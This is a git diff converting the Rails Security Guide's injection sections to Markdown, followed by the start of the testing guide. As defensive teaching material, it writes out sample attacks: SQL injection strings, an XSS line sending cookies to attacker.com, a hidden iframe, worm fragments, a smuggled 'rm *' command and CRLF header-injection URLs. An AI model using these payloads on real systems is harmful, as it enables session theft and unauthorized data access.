Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
-h4. SQL Injection
+### SQL Injection
INFO: _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._
-h5(#sql-injection-introduction). Introduction
+#### Introduction
SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
-<ruby>
+```ruby
Project.where("name = '#{params[:name]}'")
-</ruby>
+```
This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
-<sql>
+```sql
SELECT * FROM projects WHERE name = '' OR 1 --'
-</sql>
+```
The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
-h5. Bypassing Authorization
+#### Bypassing Authorization
Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
-<ruby>
+```ruby
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
-</ruby>
+```
If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
-<sql>
+```sql
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
-</sql>
+```
This will simply find the first record in the database, and grants access to this user.
-h5. Unauthorized Reading
+#### Unauthorized Reading
The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
-<ruby>
+```ruby
Project.where("name = '#{params[:name]}'")
-</ruby>
+```
And now let's inject another query using the UNION statement:
-<plain>
+```
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
-</plain>
+```
This will result in the following SQL query:
-<sql>
+```sql
SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --'
-</sql>
+```
The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
-Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails "to at least 2.1.1":http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/.
+Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails [to at least 2.1.1](http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/).
-h5(#sql-injection-countermeasures). Countermeasures
+#### Countermeasures
-Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using +Model.find(id)+ or +Model.find_by_some thing(something)+ automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (+where("...")+), the +connection.execute()+ or +Model.find_by_sql()+ methods, it has to be applied manually</em>.
+Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually</em>.
Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
-<ruby>
+```ruby
Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
-</ruby>
+```
As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
-<ruby>
+```ruby
Model.where(:login => entered_user_name, :password => entered_password).first
-</ruby>
+```
-The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. _(highlight)Make it a habit to think about the security consequences when using an external string in SQL_.
+The array or hash form is only available in model instances. You can try `sanitize_sql()` elsewhere. _Make it a habit to think about the security consequences when using an external string in SQL_.
-h4. Cross-Site Scripting (XSS)
+### Cross-Site Scripting (XSS)
INFO: _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._
-h5. Entry Points
+#### Entry Points
An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
-The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the "Live HTTP Headers Firefox plugin":http://livehttpheaders.mozdev.org/, or client-site proxies make it easy to change requests.
+The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests.
XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
-During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The "Symantec Global Internet Security threat report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf also documented 239 browser plug-in vulnerabilities in the last six months of 2007. "Mpack":http://pandalabs.pandasecurity.com/mpack-uncovered/ is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.
+During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The [Symantec Global Internet Security threat report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf) also documented 239 browser plug-in vulnerabilities in the last six months of 2007. [Mpack](http://pandalabs.pandasecurity.com/mpack-uncovered/) is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.
-A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to "Trend Micro":http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/.
+A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to [Trend Micro](http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/).
-h5. HTML/JavaScript Injection
+#### HTML/JavaScript Injection
-The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _(highlight)Escaping user input is essential_.
+The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _Escaping user input is essential_.
Here is the most straightforward test to check for XSS:
-<html>
+```html
<script>alert('Hello');</script>
-</html>
+```
This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
-<html>
+```html
<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">
-</html>
+```
-h6. Cookie Theft
+##### Cookie Theft
These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
-<plain>
+```
<script>document.write(document.cookie);</script>
-</plain>
+```
For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
-<html>
-<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script>
-</html>
+```html
+<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
+```
The log files on www.attacker.com will read like this:
-<plain>
+```
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
-</plain>
+```
-You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though.
+You can mitigate these attacks (in the obvious way) by adding the [httpOnly](http://dev.rubyonrails.org/ticket/8895) flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/), though.
-h6. Defacement
+##### Defacement
With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
-<html>
+```html
<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
-</html>
+```
-This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
+This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
-<plain>
+```
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
<script src=http://www.securitylab.ru/test/sc.js></script><!--
-</plain>
+```
-h6(#html-injection-countermeasures). Countermeasures
+##### Countermeasures
-_(highlight)It is very important to filter malicious input, but it is also important to escape the output of the web application_.
+_It is very important to filter malicious input, but it is also important to escape the output of the web application_.
-Especially for XSS, it is important to do _(highlight)whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
+Especially for XSS, it is important to do _whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
-<ruby>
+```ruby
strip_tags("some<<b>script>alert('hello')<</b>/script>")
-</ruby>
+```
This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
-<ruby>
+```ruby
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
-</ruby>
+```
This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
-As a second step, _(highlight)it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _(highlight)Use +escapeHTML()+ (or its alias +h()+) method_ to replace the HTML input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in HTML (+&amp;amp;+, +&amp;quot;+, +&amp;lt+;, and +&amp;gt;+). However, it can easily happen that the programmer forgets to use it, so <em class="highlight">it is recommended to use the "SafeErb":http://safe-erb.rubyforge.org/svn/plugins/safe_erb/ plugin</em>. SafeErb reminds you to escape strings from external sources.
+As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in HTML (`&amp;`, `&quot;`, `&lt`;, and `&gt;`). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the [SafeErb](http://safe-erb.rubyforge.org/svn/plugins/safe_erb/) plugin_. SafeErb reminds you to escape strings from external sources.
-h6. Obfuscation and Encoding Injection
+##### Obfuscation and Encoding Injection
Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
-<html>
-<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
- &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>
-</html>
+```
+<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
+ &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
+```
-This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":https://hackvertor.co.uk/public. Rails' sanitize() method does a good job to fend off encoding attacks.
+This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks.
-h5. Examples from the Underground
+#### Examples from the Underground
_In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
-The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1 Yahoo! Mail "worm":http://groovin.net/stuff/yammer.txt. It appeared on June 11, 2006 and was the first webmail interface worm:
+The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1) Yahoo! Mail [worm](http://groovin.net/stuff/yammer.txt). It appeared on June 11, 2006 and was the first webmail interface worm:
-<html>
+```
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
target=""onload="var http_request = false; var Email = '';
var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
-</html>
+```
The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
-Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on "Rosario Valotta's paper":http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
+Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
-In December 2006, 34,000 actual user names and passwords were stolen in a "MySpace phishing attack":http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
+In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
The MySpace Samy worm will be discussed in the CSS Injection section.
-h4. CSS Injection
+### CSS Injection
INFO: _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
-CSS Injection is explained best by a well-known worm, the "MySpace Samy worm":http://namb.la/popular/tech.html. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
+CSS Injection is explained best by a well-known worm, the [MySpace Samy worm](http://namb.la/popular/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
-<html>
+```html
<div style="background:url('javascript:alert(1)')">
-</html>
+```
So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.
-<html>
+```html
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
-</html>
+```
The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:
-<plain>
+```
alert(eval('document.body.inne' + 'rHTML'));
-</plain>
+```
The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:
-<html>
+```html
<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
-</html>
+```
Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
In the end, he got a 4 KB worm, which he injected into his profile page.
-The "moz-binding":http://www.securiteam.com/securitynews/5LP051FHPE.html CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
+The [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
-h5(#css-injection-countermeasures). Countermeasures
+#### Countermeasures
-This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one.
+This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.
-h4. Textile Injection
+### Textile Injection
-If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. "RedCloth":http://redcloth.org/ is such a language for Ruby, but without precautions, it is also vulnerable to XSS.
+If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. [RedCloth](http://redcloth.org/) is such a language for Ruby, but without precautions, it is also vulnerable to XSS.
-For example, RedCloth translates +_test_+ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4:
+For example, RedCloth translates `_test_` to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the [all-new version 4](http://www.redcloth.org) that removed serious bugs. However, even that version has [some security bugs](http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html), so the countermeasures still apply. Here is an example for version 3.0.4:
-<ruby>
+```ruby
RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"
-</ruby>
+```
Use the :filter_html option to remove HTML which was not created by the Textile processor.
-<ruby>
+```ruby
RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"
-</ruby>
+```
However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:
-<ruby>
+```ruby
RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"
-</ruby>
+```
-h5(#textile-injection-countermeasures). Countermeasures
+#### Countermeasures
-It is recommended to _(highlight)use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
+It is recommended to _use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
-h4. Ajax Injection
+### Ajax Injection
NOTE: _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
-If you use the "in_place_editor plugin":http://dev.rubyonrails.org/browser/plugins/in_place_editing, or actions that return a string, rather than rendering a view, _(highlight)you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
+If you use the [in_place_editor plugin](http://dev.rubyonrails.org/browser/plugins/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
-h4. Command Line Injection
+### Command Line Injection
NOTE: _Use user-supplied command line parameters with caution._
If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
-A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_.
+A countermeasure is to _use the `system(command, parameters)` method which passes command line parameters safely_.
-<ruby>
+```ruby
system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files
-</ruby>
+```
-h4. Header Injection
+### Header Injection
WARNING: _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
-HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _(highlight)Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
+HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
-Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
+Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
-<ruby>
+```ruby
redirect_to params[:referer]
-</ruby>
+```
What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
-<plain>
+```
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
-</plain>
+```
And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
-<plain>
+```
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
-</plain>
+```
Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
-<plain>
+```
HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld
-</plain>
+```
-So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the +redirect_to+ method. _(highlight)Make sure you do it yourself when you build other header fields with user input._
+So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
-h5. Response Splitting
+#### Response Splitting
If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
-<plain>
+```
HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:
Content-Type: text/html
@@ -1016,16 +1044,60 @@ Keep-Alive: timeout=15, max=100 shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
-</plain>
+```
+
+Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
+
+
+Default Headers
+---------------
+
+Every HTTP response from your Rails application receives the following default security headers.
+
+```ruby
+config.action_dispatch.default_headers = {
+ 'X-Frame-Options' => 'SAMEORIGIN',
+ 'X-XSS-Protection' => '1; mode=block',
+ 'X-Content-Type-Options' => 'nosniff'
+}
+```
+
+You can configure default headers in `config/application.rb`.
+
+```ruby
+config.action_dispatch.default_headers = {
+ 'Header-Name' => 'Header-Value',
+ 'X-Frame-Options' => 'DENY'
+}
+```
+
+Or you can remove them.
+
+```ruby
+config.action_dispatch.default_headers.clear
+```
-Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
+Here is the list of common headers:
+* X-Frame-Options
+_'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website.
+* X-XSS-Protection
+_'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS attack is detected. Set it to '0;' if you want to switch XSS Auditor off(useful if response contents scripts from request parameters)
+* X-Content-Type-Options
+_'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file.
+* X-Content-Security-Policy
+[A powerful mechanism for controlling which sites certain content types can be loaded from](http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html)
+* Access-Control-Allow-Origin
+Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.
+* Strict-Transport-Security
+[Used to control if the browser is allowed to only access a site over a secure connection](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)
-h3. Additional Resources
+Additional Resources
+--------------------
The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
-* The Ruby on Rails security project posts security news regularly: "http://www.rorsecurity.info":http://www.rorsecurity.info
-* Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security
-* "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too)
-* A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html
+* The Ruby on Rails security project posts security news regularly: [http://www.rorsecurity.info](http://www.rorsecurity.info)
+* Subscribe to the Rails security [mailing list](http://groups.google.com/group/rubyonrails-security)
+* [Keep up to date on the other application layers](http://secunia.com/) (they have a weekly newsletter, too)
+* A [good security blog](http://ha.ckers.org/blog/) including the [Cross-Site scripting Cheat Sheet](http://ha.ckers.org/xss.html)
diff --git a/guides/source/testing.textile b/guides/source/testing.md
index 4faf59fad8..2680525928 100644
--- a/guides/source/testing.textile
+++ b/guides/source/testing.md
@@ -1,4 +1,5 @@
-h2. A Guide to Testing Rails Applications
+A Guide to Testing Rails Applications
+=====================================
This guide covers built-in mechanisms offered by Rails to test your
application. By referring to this guide, you will be able to:
@@ -7,9 +8,10 @@ application. By referring to this guide, you will be able to:
* Write unit, functional, and integration tests for your application
* Identify other popular testing approaches and plugins
-endprologue.
+--------------------------------------------------------------------------------
-h3. Why Write Tests for your Rails Applications?
+Why Write Tests for your Rails Applications?
+--------------------------------------------
Rails makes it super easy to write your tests. It starts by producing skeleton test code while you are creating your models and controllers.
@@ -17,49 +19,50 @@ By simply running your Rails tests you can ensure your code adheres to the desir
Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
-h3. Introduction to Testing
+Introduction to Testing
+-----------------------
Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.
-h4. The Test Environment
